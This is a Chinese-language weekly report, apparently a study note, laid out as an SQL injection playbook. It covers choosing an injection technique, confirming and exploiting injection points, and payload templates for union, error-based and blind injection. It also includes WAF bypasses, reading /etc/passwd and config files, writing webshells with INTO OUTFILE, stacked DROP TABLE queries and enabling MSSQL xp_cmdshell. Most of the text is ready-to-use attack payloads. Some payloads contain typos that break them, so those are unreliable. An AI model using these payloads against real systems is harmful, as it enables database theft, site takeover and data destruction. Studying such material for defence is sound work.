💡 字多 ≠ 有价值
周报不是为了表现工作量,而是给团队提供最基本的“信息透明”。尽量挑选重要信息来写。
汇报人:莫家豪
日期:2025-05-12
一,注入方式选择
sql 注入
输入’ 或者 “ 有 sql 报错?
yes no
有错误信息? 页面内容有变化?,输入 1 1’ 返回不同
yes no yes no
报错注入 布尔盲注或联合注入 联合注入 时间盲注
| 场景 | 第一选择 | 第二选择 |
|---|---|---|
| 有报错回显 | 报错注入 | 联合注入 |
| 有正常回显位 | 联合注入 | 报错注入 |
| 只有真假回显位 | 布尔盲注 | 时间盲注 |
| 完全无回显 | 时间盲注 | DNS 外带 |
| 有 waf | 编码+时间盲注 | 内联+报错 |
二,实战测试流程
第一步:确认注入点存在,原始请求 id=1
1.单引号测试
id=1’ 报错,字符型注入
id=1” 双引号闭合
2.算数测试
id=2-1 返回 id=1 的结果,数字型注入
3.布尔测试
id=1 AND 1=1 正常
id=1 AND 1=2 异常存在注入
4.时间测试
id=1 AND SLEEP(3) 响应延迟存在注入
第二步:判断闭合方式
第三步:选择注入方式并利用
1.有报错信息->报错注入
’ AND EXTRACTVALUE(1,concat(0x7e,datdabase(),0x7e)—
’ AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))—
’ AND extractvalue(1,concat(0x7e,substring((SELECT password FROM users LIMIT 1),1,30),0x7e))— //extractvalue 最多显示 32 字符,用 string 截取
2.有回显位->联合注入
确定列数 ’ ORDER BY 1— - ’ ORDER BY 2— - ’ ORDER BY 5— - — 报错,说明4列
找回显位 ’ UNION SELECT 1,2,3,4— - — 页面显示 2 和 3,说明第2、3列可利用
提取数据 ’ UNION SELECT 1,database(),version(),4— - ’ UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()— -
3.只有真假响应->布尔盲注
确认布尔差异
’ AND 1=1— 响应正常
’ AND 1=2— 响应异常
猜数据库名长度
’ AND length(database())>5— 正常
’ AND length(database())>10— 异常
猜数据库名
’ AND ascii(substr(database(),1,1)>100—
4.完全无回显->时间盲注
确认时间延迟
’ AND SLEEP(3)—
条件延迟
’ AND IF(length(database())>5,SLEEP(3),0)—
逐字符拆解
’ AND IF(ascii(substr(database(),1,1)>100,sleep(3),0)—
三,Payload 体系化总结
联合注入模板
------------基础模板-------------
’ UNION SELECT null,null,null 不知道类型用 null
------------信息搜集模板---------
‘UNION SELECT 1,database(),version(),user(),5—
------------枚举数据库-----------
’ UNION SELECT 1,group_cpncat(scheme_name),3,4 FROM infomation_shemata—
------------枚举表名---------------
‘UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.columns WHERE table_schema=database()—
------------枚举列名----------------
‘UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=‘users’
------------提取数据----------------
‘UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users—
------------读取文件----------------
‘UNION SELECT 1,load_file(‘/etc/passwd’),3,4 —
------------写入 shell---------------
‘UNION SELECT 1,'',3,4 INTO OUTFILE ‘/var/www/htl/shell.php’—
报错注入 Payload 模板
— ========== extractvalue(最多32字符)========== ’ AND extractvalue(1,concat(0x7e,database(),0x7e))— - ’ AND extractvalue(1,concat(0x7e,version(),0x7e))— - ’ AND extractvalue(1,concat(0x7e,user(),0x7e))— -
— 数据超32字符时分段读取 ’ AND extractvalue(1,concat(0x7e,substring((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),1,30),0x7e))— - ’ AND extractvalue(1,concat(0x7e,substring((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),31,30),0x7e))— -
— ========== updatexml(最多32字符)========== ’ AND updatexml(1,concat(0x7e,database(),0x7e),1)— - ’ AND updatexml(1,concat(0x5c,(SELECT password FROM users LIMIT 1)),1)— -
— ========== floor报错(无长度限制)========== ’ AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)— -
— ========== 双查询报错 ========== ’ AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)— -
布尔盲注 Payload 模板
— ========== 基础判断 ========== ’ AND 1=1— - — True ’ AND 1=2— - — False
— ========== 长度判断 ========== ’ AND length(database())=8— - ’ AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)>5— -
— ========== 字符猜解(二分法)========== ’ AND ascii(substr(database(),1,1))>100— - ’ AND ascii(substr(database(),1,1))>110— - ’ AND ascii(substr(database(),1,1))=115— - — 确认是 ‘s’ (ASCII 115)
— ========== 表名枚举 ========== ’ AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5— - ’ AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>100— -
— ========== 正则匹配(更快)========== ’ AND database() REGEXP ‘^a’— - — 数据库名以a开头? ’ AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) REGEXP ‘^u’— -
时间盲注 Payload 模板
— ========== 基础延迟 ========== ’ AND SLEEP(3)— - ’ AND BENCHMARK(10000000,SHA1(‘test’))— - — 替代SLEEP
— ========== 条件延迟 ========== ’ AND IF(1=1,SLEEP(3),0)— - ’ AND CASE WHEN (1=1) THEN SLEEP(3) END— -
— ========== 数据提取 ========== ’ AND IF(length(database())>5,SLEEP(3),0)— - ’ AND IF(ascii(substr(database(),1,1))>100,SLEEP(3),0)— -
— ========== 嵌套延迟(绕过过滤)========== ’ AND (SELECT SLEEP(3) FROM dual WHERE database() LIKE ‘a%’)— -
— ========== 笛卡尔积延迟(SLEEP被过滤时)========== ’ AND (SELECT COUNT(*) FROM information_schema.tables a,information_schema.tables b,information_schema.tables c)—
四,waf 过滤绕过
关键字过滤->大小写/编码/注释绕过
空格过滤 ->注释/tab/括号替代
引号过滤 -> 十六进制/CHAR 函数
长度限制-> 分段/截断
1. 关键字过滤绕过
过滤:union select
大小写混淆:uNIon SElecT
内联注释:
//!UNION/ /!SELECT/ 1,2,3— -
/!50000UNION//!50000SELECT/ 1,2,3— - — MySQL版本注释
双写(仅替换一次时):
UNUNIONION SELSELECTECT 1,2,3—
编码:
%55NION %53ELECT 1,2,3— - — URL编码
UNION%0ASELECT 1,2,3— - — 换行符分隔
过滤:AND / OR
符号替代: ’ && 1=1— - ’ || 1=1— - ’ & 1— - ’ | 1— -
双写: ’ ANANDD 1=1— -
— 内联注释 ’ /!AND/ 1=1— -
过滤:SLEEP
BENCHMARK替代: ’ AND BENCHMARK(10000000,SHA1(‘test’))— -
笛卡尔积: ’ AND (SELECT COUNT(*) FROM information_schema.tables a,information_schema.tables b,information_schema.tables c)— -
IF条件 + 其他函数: ’ AND IF(1=1,(SELECT COUNT(*) FROM information_schema.tables a,information_schema.tables b),0)— -
2.空格绕过
注释替代: ‘//UNION//SELECT/**/1,2,3— -
Tab/换行: ‘%09UNION%09SELECT%091,2,3— - — Tab ‘%0AUNION%0ASELECT%0A1,2,3— - — 换行 ‘%0DUNION%0DSELECT%0D1,2,3— - — 回车 ‘%0BUNION%0BSELECT%0B1,2,3— - — 垂直Tab ‘%0CUNION%0CSELECT%0C1,2,3— - — 换页 ‘%A0UNION%A0SELECT%A01,2,3— - — 非断行空格
括号包裹: ‘(UNION)(SELECT)(1),(2),(3)— - ‘UNION(SELECT(1),(2),(3))— -
3.引号过滤绕过
十六进制编码: SELECT * FROM users WHERE name=0x61646d696e — ‘admin’ ’ UNION SELECT 1,0x61646d696e,3— - — 绕过引号 十六进制编码的单引号不能替代引号闭合时的单引号,只能替代字符串中的单引号
CHAR函数: SELECT CHAR(97,100,109,105,110) — ‘admin’ ’ UNION SELECT 1,CHAR(97,100,109,105,110),3— -
宽字节注入(GBK编码): %bf%27 — 绕过 addslashes() %df%27 — 绕过 mysql_real_escape_string()
反斜杠转义: ’ UNION SELECT 1,username,3 FROM users WHERE username=0x61646d696e— -
4. 函数过滤绕过
| 被过滤函数 | 替代方案 |
|---|---|
| SUBSTRING() | MID(),SUBSTR(),LEFT(),RIGHT() |
| CONCAT() | CONCAT_WS(),||(Oracle) |
| CHAR() | CHR()(Oracle) ,十六进制 |
| IF() | CASE WHEN THEN,IIF()(Acess) |
| SLLEP() | BENCHAMARK(),笛卡尔积 |
| load_file() | into outfie(反向) |
5 等号过滤绕过
— LIKE替代 ’ AND database() LIKE ‘test’— -
— BETWEEN替代 ’ AND ascii(substr(database(),1,1)) BETWEEN 115 AND 115— -
— IN替代 ’ AND database() IN (‘test’)— -
— REGEXP替代 ’ AND database() REGEXP ‘^test$’— -
— 大于小于组合 ’ AND ascii(substr(database(),1,1))>114 AND ascii(substr(database(),1,1))<116— -
长度限制绕过
— 分段执行(堆叠注入) ’; DROP TABLE users;— ’; INSERT INTO users VALUES(1,‘hacker’,‘password’);—
— 短函数名 ’ UNION SELECT 1,user(),3— - — 代替 database()
— 分多次请求 — 第一次:获取表名前半部分 — 第二次:获取表名后半部分
7 WAF绕过综合技巧
— 组合绕过示例 ‘//aNd//(sEleCt//cOUNt(*)//fRoM/**/inForMAtion_scheMa.tAblEs)—
— 分块传输编码(HTTP Chunked) — 将POST请求分块发送,绕过WAF正则匹配
— 参数污染 ?id=1&id=’ UNION SELECT 1,2,3— - — 部分WAF只检查第一个参数,服务器使用最后一个
— 双重编码 %2527 — 解码一次是 %27,再解码是 ’
— 大小写+注释+编码组合 ’/!50000UnIoN//!50000SeLeCt/1,2,3— -
information_schema 结构
information_schema.schemata
├── schema_name → 数据库名
└── 用途:获取所有数据库
information_schema.tables
├── table_schema → 数据库名
├── table_name → 表名
└── 用途:获取指定库的所有表
information_schema.columns
├── table_schema → 数据库名
├── table_name → 表名
├── column_name → 列名
└── 用途:获取指定表的所有列
五,函数总结
一、信息收集函数(第一优先级)
用途:注入成功后,第一步就是收集信息
┌──────────────────────┬────────────────┬───────────────────────────────┐ │ 函数 │ 返回值 │ 用途 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ database() │ 当前数据库名 │ 必须先知道库名才能查表 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ user() │ 当前数据库用户 │ 判断是否root权限 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ version() │ MySQL版本 │ 5.0以上才有information_schema │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ @@hostname │ 服务器主机名 │ 信息收集 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ @@datadir │ 数据文件路径 │ 判断操作系统 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ @@version_compile_os │ 操作系统 │ Windows/Linux │ └──────────────────────┴────────────────┴───────────────────────────────┘
— 联合注入中使用 ’ UNION SELECT 1,database(),version(),user(),5— -
— 报错注入中使用 ’ AND extractvalue(1,concat(0x7e,database(),0x7e))— -
— 盲注中使用 ’ AND database()=‘test’— - ’ AND LEFT(database(),1)=‘t’— -
二、字符串截取函数(盲注核心)
用途:盲注时逐字符猜解数据
2.1 三大截取函数对比
┌─────────────┬────────────────────────────┬────────────────────────┬──────┐ │ 函数 │ 语法 │ 示例 │ 结果 │ ├─────────────┼────────────────────────────┼────────────────────────┼──────┤ │ SUBSTRING() │ SUBSTRING(str, start, len) │ SUBSTRING(‘admin’,2,2) │ ‘dm’ │ ├─────────────┼────────────────────────────┼────────────────────────┼──────┤ │ MID() │ MID(str, start, len) │ MID(‘admin’,2,2) │ ‘dm’ │ ├─────────────┼────────────────────────────┼────────────────────────┼──────┤ │ SUBSTR() │ SUBSTR(str, start, len) │ SUBSTR(‘admin’,2,2) │ ‘dm’ │ └─────────────┴────────────────────────────┴────────────────────────┴──────┘
▎ 注意:这三个函数完全等价,可以互相替换。MID 和 SUBSTR 是 SUBSTRING 的别名。
— 盲注中完全等价 ’ AND SUBSTRING(database(),1,1)=‘a’— - ’ AND MID(database(),1,1)=‘a’— - ’ AND SUBSTR(database(),1,1)=‘a’— -
— 参数解释: — SUBSTRING(str, start, length) — str: 要截取的字符串 — start: 起始位置(从1开始,不是0!) — length: 截取长度
2.2 LEFT 和 RIGHT
┌─────────┬─────────────────┬──────────────────┬──────┐ │ 函数 │ 语法 │ 示例 │ 结果 │ ├─────────┼─────────────────┼──────────────────┼──────┤ │ LEFT() │ LEFT(str, len) │ LEFT(‘admin’,2) │ ‘ad’ │ ├─────────┼─────────────────┼──────────────────┼──────┤ │ RIGHT() │ RIGHT(str, len) │ RIGHT(‘admin’,2) │ ‘in’ │ └─────────┴─────────────────┴──────────────────┴──────┘
— 猜数据库名开头 ’ AND LEFT(database(),1)=‘t’— - — 第1个字符是’t’ ’ AND LEFT(database(),2)=‘te’— - — 前2个字符是’te’ ’ AND LEFT(database(),3)=‘tes’— - — 前3个字符是’tes’
— 适用场景:知道或猜测数据以某字符串开头时,比逐字符快
2.3 实战选择策略
猜开头字符 → LEFT() 最快 猜结尾字符 → RIGHT() 最快 猜中间字符 → SUBSTRING() 唯一选择 被过滤时 → 函数互相替换
三、字符转换函数(绕过过滤)
用途:绕过引号过滤,或盲注时比较字符
3.1 ASCII 和 ORD
┌─────────┬─────────────┬────────────┬──────┐ │ 函数 │ 语法 │ 示例 │ 结果 │ ├─────────┼─────────────┼────────────┼──────┤ │ ASCII() │ ASCII(char) │ ASCII(‘a’) │ 97 │ ├─────────┼─────────────┼────────────┼──────┤ │ ORD() │ ORD(char) │ ORD(‘a’) │ 97 │ └─────────┴─────────────┴────────────┴──────┘
— 布尔盲注(推荐用数字比较,不需要引号) ’ AND ASCII(SUBSTRING(database(),1,1))=116— - — 116 = ‘t’ ’ AND ASCII(SUBSTRING(database(),1,1))>100— -
— 二分法优化 ’ AND ASCII(SUBSTRING(database(),1,1))>100— - — True,继续 ’ AND ASCII(SUBSTRING(database(),1,1))>110— - — False,在100-110之间 ’ AND ASCII(SUBSTRING(database(),1,1))>105— - — True,在105-110之间 ’ AND ASCII(SUBSTRING(database(),1,1))=116— - — 确认是116=‘t’
3.2 CHAR(绕过引号过滤)
— CHAR 将ASCII码转为字符 SELECT CHAR(97,100,109,105,110) — 返回 ‘admin’
— 绕过引号过滤 — 原始:SELECT * FROM users WHERE name=‘admin’ — 绕过:SELECT * FROM users WHERE name=CHAR(97,100,109,105,110)
— 注入中使用 ’ UNION SELECT 1,CHAR(97,100,109,105,110),3— - — 输出 ‘admin’ ’ UNION SELECT 1,password,3 FROM users WHERE username=CHAR(97,100,109,105,110)— - — 查admin密码
3.3 HEX 和 UNHEX
— 十六进制编码绕过引号 SELECT HEX(‘admin’) — 返回 ‘61646D696E’ SELECT UNHEX(‘61646D696E’) — 返回 ‘admin’
— 注入中使用(0x前缀表示十六进制) ’ UNION SELECT 1,0x61646D696E,3— - — 输出 ‘admin’
— 查表名时绕过引号 ’ UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=0x74657374— - — 0x74657374 是 ‘test’ 的十六进制
四、字符串拼接函数
用途:联合注入时合并多个字段输出
┌────────────────┬─────────────────────────┬────────────────────────┬─────────┐ │ 函数 │ 语法 │ 示例 │ 结果 │ ├────────────────┼─────────────────────────┼────────────────────────┼─────────┤ │ CONCAT() │ CONCAT(str1,str2,…) │ CONCAT(‘a’,‘b’,‘c’) │ ‘abc’ │ ├────────────────┼─────────────────────────┼────────────────────────┼─────────┤ │ CONCAT_WS() │ CONCAT_WS(sep,str1,…) │ CONCAT_WS(’:’,‘a’,‘b’) │ ‘a’ │ ├────────────────┼─────────────────────────┼────────────────────────┼─────────┤ │ GROUP_CONCAT() │ GROUP_CONCAT(col) │ 合并多行结果 │ ‘a,b,c’ │ └────────────────┴─────────────────────────┴────────────────────────┴─────────┘
— CONCAT: 合并多个字段(单行) ’ UNION SELECT 1,CONCAT(username,’:‘,password),3 FROM users— - — 输出: admin:123456
— CONCAT_WS: 用分隔符合并(单行) ’ UNION SELECT 1,CONCAT_WS(’-‘,username,password,email),3 FROM users— - — 输出: admin-123456-admin@test.com
— GROUP_CONCAT: 合并多行(关键!) ’ UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()— - — 输出: users,admin,config,articles(一次性获取所有表名)
— GROUP_CONCAT + 分隔符 ’ UNION SELECT 1,GROUP_CONCAT(username SEPARATOR ’|’),3 FROM users— - — 输出: admin|test|guest
关键区别:
CONCAT → 合并一行中的多列 → ‘a:b
五、条件判断函数
用途:盲注中的条件判断
5.1 IF函数
— 语法 IF(condition, true_value, false_value)
— 时间盲注 ’ AND IF(database()=‘test’,SLEEP(3),0)— -
— 布尔盲注 ’ AND IF(ASCII(SUBSTRING(database(),1,1))>100,1,0)— -
— 报错注入中的条件判断 ’ AND IF(1=1,extractvalue(1,concat(0x7e,database())),0)— -
5.2 CASE WHEN(IF被过滤时用)
— 语法 CASE WHEN condition THEN true_value ELSE false_value END
— 时间盲注 ’ AND CASE WHEN (database()=‘test’) THEN SLEEP(3) END— -
— 布尔盲注 ’ AND CASE WHEN (ASCII(SUBSTRING(database(),1,1))>100) THEN 1 ELSE 0 END— -
5.3 IIF(Access数据库)
— Access数据库特有 ’ AND IIF(ASCII(SUBSTRING(database(),1,1))>100,1,0)— -
六、时间延迟函数(时间盲注核心)
┌───────────────┬───────────────────────┬────────────┐ │ 函数 │ 语法 │ 适用数据库 │ ├───────────────┼───────────────────────┼────────────┤ │ SLEEP() │ SLEEP(seconds) │ MySQL │ ├───────────────┼───────────────────────┼────────────┤ │ BENCHMARK() │ BENCHMARK(count,expr) │ MySQL │ ├───────────────┼───────────────────────┼────────────┤ │ WAITFOR DELAY │ WAITFOR DELAY ‘0:0:5’ │ MSSQL │ ├───────────────┼───────────────────────┼────────────┤ │ pg_sleep() │ pg_sleep(seconds) │ PostgreSQL │ └───────────────┴───────────────────────┴────────────┘
— SLEEP: 直接延迟(最常用) ’ AND SLEEP(3)— - ’ AND IF(database()=‘test’,SLEEP(3),0)— -
— BENCHMARK: 通过重复执行消耗时间(SLEEP被过滤时用) ’ AND BENCHMARK(10000000,SHA1(‘test’))— - ’ AND IF(database()=‘test’,BENCHMARK(10000000,SHA1(‘test’)),0)— -
— 笛卡尔积延迟(更隐蔽) ’ AND (SELECT COUNT(*) FROM information_schema.tables a,information_schema.tables b,information_schema.tables c)— -
七、系统信息函数
用途:联合注入时获取更多系统信息
— 数据库信息 ’ UNION SELECT 1,database(),version(),user(),@@hostname— -
— 文件路径 ’ UNION SELECT 1,@@datadir,@@basedir,@@tmpdir,4— -
— 操作系统 ’ UNION SELECT 1,@@version_compile_os,2,3,4— -
— 当前用户权限 ’ UNION SELECT 1,(SELECT file_priv FROM mysql.user WHERE user=current_user),3,4,5— - — Y = 有文件读写权限,N = 无
八、文件操作函数
用途:读取敏感文件、写入WebShell
8.1 load_file(读文件)
— 前提:需要FILE权限 ’ UNION SELECT 1,load_file(‘/etc/passwd’),3— -
— 读取网站配置文件 ’ UNION SELECT 1,load_file(‘/var/www/html/config.php’),3— -
— 十六进制绕过引号 ’ UNION SELECT 1,load_file(0x2f7661722f7777772f68746d6c2f636f6e6669672e706870),3— -
— Windows路径 ’ UNION SELECT 1,load_file(‘C:/Windows/System32/drivers/etc/hosts’),3— - ’ UNION SELECT 1,load_file(‘C:\Windows\System32\drivers\etc\hosts’),3— -
8.2 INTO OUTFILE(写文件)
— 写入WebShell ’ UNION SELECT 1,”,3 INTO OUTFILE ‘/var/www/html/shell.php’— -
— 写入一句话木马 ’ UNION SELECT 1,”,3 INTO OUTFILE ‘/var/www/html/cmd.php’— -
— 注意事项 — 1. 需要FILE权限 — 2. 需要知道网站绝对路径 — 3. MySQL用户需要有写权限 — 4. 文件不能已存在(会报错)
九、聚合函数
用途:配合盲注判断数据
┌───────────────┬────────────────────┬────────────────────────────┐ │ 函数 │ 用途 │ 示例 │ ├───────────────┼────────────────────┼────────────────────────────┤ │ COUNT() │ 统计行数 │ SELECT COUNT(*) FROM users │ ├───────────────┼────────────────────┼────────────────────────────┤ │ LENGTH() │ 字符串长度 │ LENGTH(database()) │ ├───────────────┼────────────────────┼────────────────────────────┤ │ CHAR_LENGTH() │ 字符数(中文友好) │ CHAR_LENGTH(‘测试’) │ └───────────────┴────────────────────┴────────────────────────────┘
— 布尔盲注:判断表是否存在 ’ AND (SELECT COUNT(*) FROM admin)>0— - — 存在admin表
— 猜数据库名长度 ’ AND LENGTH(database())=4— -
— 猜密码长度 ’ AND LENGTH((SELECT password FROM users LIMIT 1))=32— - — MD5密码
十、函数速查表(按用途分类)
盲注必备
┌─────────────┬────────────┬──────────────────────────────────┐ │ 函数 │ 用途 │ 示例 │ ├─────────────┼────────────┼──────────────────────────────────┤ │ SUBSTRING() │ 截取字符 │ SUBSTRING(database(),1,1) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ ASCII() │ 转ASCII码 │ ASCII(SUBSTRING(database(),1,1)) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ LENGTH() │ 字符串长度 │ LENGTH(database()) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ IF() │ 条件判断 │ IF(condition,1,0) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ SLEEP() │ 时间延迟 │ SLEEP(3) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ COUNT() │ 统计数量 │ (SELECT COUNT(*) FROM users) │ └─────────────┴────────────┴──────────────────────────────────┘
联合注入必备
┌────────────────┬────────────┬──────────────────────────┐ │ 函数 │ 用途 │ 示例 │ ├────────────────┼────────────┼──────────────────────────┤ │ database() │ 当前库名 │ SELECT database() │ ├────────────────┼────────────┼──────────────────────────┤ │ user() │ 当前用户 │ SELECT user() │ ├────────────────┼────────────┼──────────────────────────┤ │ version() │ 版本 │ SELECT version() │ ├────────────────┼────────────┼──────────────────────────┤ │ CONCAT() │ 拼接字符串 │ CONCAT(user,’:‘,pass) │ ├────────────────┼────────────┼──────────────────────────┤ │ GROUP_CONCAT() │ 合并多行 │ GROUP_CONCAT(table_name) │ └────────────────┴────────────┴──────────────────────────┘
绕过过滤必备
┌─────────────┬───────────────┬──────────────────────────┐ │ 函数 │ 用途 │ 示例 │ ├─────────────┼───────────────┼──────────────────────────┤ │ CHAR() │ 数字转字符 │ CHAR(97,100,109,105,110) │ ├─────────────┼───────────────┼──────────────────────────┤ │ HEX() │ 十六进制编码 │ HEX(‘admin’) │ ├─────────────┼───────────────┼──────────────────────────┤ │ MID() │ SUBSTRING替代 │ MID(database(),1,1) │ ├─────────────┼───────────────┼──────────────────────────┤ │ BENCHMARK() │ SLEEP替代 │ BENCHMARK(1e7,SHA1(‘x’)) │ ├─────────────┼───────────────┼──────────────────────────┤ │ CASE WHEN │ IF替代 │ CASE WHEN x THEN 1 END │ └─────────────┴───────────────┴──────────────────────────┘
六,其他数据库
| 功能 | MySQL | MMSQL | Oracle | SQLite |
|---|---|---|---|---|
| 版本 | version() | @@version | v$version | sqlite_version() |
| 当前库 | database() | db_name() | v$database | —— |
| 当前用户 | user() | system_user | v$database | —— |
| 系统表 | information_schema | sysobjects | all_tables | sqlite_master |
| 延迟 | SLEEP(3) | WAITFOR DELAY ‘0:0:3’ | dbms_pipe | 无 |
| 注释 | — # /**/ | — /**/ | — /**/ | — /**/ |
| 字符串拼接 | CONCAT() | + | || | || |
| 限制行数 | LIMIT 0,1 | TOP 1 | ROWNUM=1 | LIMIT 1 |
MSSQL 特有
— 版本
’ UNION SELECT 1,@@version,3— -
— 数据库名
’ UNION SELECT 1,db_name(),3— -
— 表名
’ UNION SELECT 1,name,3 FROM sysobjects WHERE xtype=‘U’— -
— 列名
’ UNION SELECT 1,name,3 FROM syscolumns WHERE id=object_id(‘users’)— -
— 时间盲注
’ IF 1=1 WAITFOR DELAY ‘0:0:3’— -
— 执行命令(sa权限)
’ ; EXEC master..xp_cmdshell ‘whoami’— -
— 开启 xp_cmdshell
’ ; EXEC sp_configure ‘show advanced options’,1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’,1; RECONFIGURE;— -
Oracle 特有
— 版本
’ UNION SELECT banner,null FROM v$version WHERE rownum=1— -
— 表名
’ UNION SELECT table_name,null FROM all_tables WHERE rownum<=10— -
— 列名
’ UNION SELECT column_name,null FROM all_tab_columns WHERE table_name=‘USERS’— -
— 时间盲注
’ AND (SELECT COUNT(*) FROM all_users a, all_users b, all_users c, all_users d)>0— -
— 报错注入
’ AND 1=ctxsys.drithx.sn(1,(SELECT banner FROM v$version WHERE rownum=1))— -
SQLite 特有
— 版本
’ UNION SELECT 1,sqlite_version(),3— -
— 表名
’ UNION SELECT 1,name,3 FROM sqlite_master WHERE type=‘table’— -
— 列名(需要从 sql 字段解析)
’ UNION SELECT 1,sql,3 FROM sqlite_master WHERE name=‘users’— -
— 注意:SQLite 没有 information_schema